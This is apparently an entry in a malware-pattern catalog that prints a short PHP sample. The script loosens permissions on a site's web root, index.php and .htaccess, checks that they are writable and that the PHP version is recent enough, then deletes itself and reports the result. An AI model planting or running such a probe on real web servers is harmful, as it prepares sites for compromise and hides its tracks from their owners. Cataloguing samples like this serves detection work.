Malware pattern #3

0e9c8.php

<?php

chmod(get_root_path(), 0755);
chmod(get_root_path().'/index.php', 0644);
chmod(get_root_path().'/.htaccess', 0644);
if (file_exists(get_root_path().'/index.php') && !is_writable(get_root_path().'/index.php') || file_exists(get_root_path().'/.htaccess') && !is_writable(get_root_path().'/.htaccess'))
{
	fail_reason('Index.php or .htaccess isn\'t writable');
}

if (version_compare(PHP_VERSION, '5.0.0', '<'))
{
	fail_reason('PHP 4');
}

fail_reason('Success!');

function get_root_path()
{
	$localpath=getenv("SCRIPT_NAME");$absolutepath=str_replace('\\', '/', getenv("SCRIPT_FILENAME"));$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
	return $root_path;
}

function fail_reason($reason)
{
	unlink(__FILE__);
	die($reason);
}